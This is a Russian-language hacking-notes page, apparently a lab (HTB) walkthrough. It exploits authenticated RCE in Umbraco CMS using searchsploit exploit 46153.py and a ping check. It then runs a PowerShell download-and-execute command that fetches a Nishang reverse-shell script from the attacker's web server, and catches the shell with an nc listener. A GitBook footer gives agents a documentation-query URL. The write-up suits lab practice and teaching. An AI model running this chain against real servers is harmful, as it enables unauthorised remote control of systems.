> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/umbraco-cms-exploitation.md).

# Umbraco

## Уязвимость RCE (Umbraco CMS)

Найдена панель администратора; проверьте аутентификацию от имени пользователя admin:

`admin@htb.local:baconandcheese`

<figure><img src="/files/919e2eae0d62068dcbde264085cfc94f6ba6fc22" alt=""><figcaption></figcaption></figure>

Доступ получен.

<figure><img src="/files/b05337150dbf5dacd7f5602a2e10d281cdc83672" alt=""><figcaption></figcaption></figure>

Поиск `Searchsploit` для этой CMS и найдите скрипт Umbraco RCE.

<figure><img src="/files/9e52a066bebc68e2aa7730bc49c2000b3fcbf369" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

Измените параметры login, password и host в скрипте.

<figure><img src="/files/42b484686308d6fc9ae85da12a0e1fb0f59c7de7" alt="" width="563"><figcaption></figcaption></figure>

**Проверка связи с помощью ping:**/ Выполните эту команду на сервере и слушайте с помощью tcpdump.

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="/files/b14cc1175acf782208fd3a8eb44dc5a41a8d0938" alt=""><figcaption></figcaption></figure>

Как только выполнение команды подтверждено, разместите `PS.ps1` скрипт на машине атакующего.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Добавьте следующую строку в конец скрипта:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="/files/6af1e1c23352d5bc5fcde63c33ff340710106021" alt="" width="563"><figcaption></figcaption></figure>

Host `PS.ps1` с веб-сервером:

```bash
python3 -m http.server 80
```

Затем измените команду так, чтобы она указывала на веб-сервер атакующего:

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

Наконец, запустите слушатель на порту 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/9b1dce52d6678b3fdb5720866c68bb2700a6ec82" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/umbraco-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
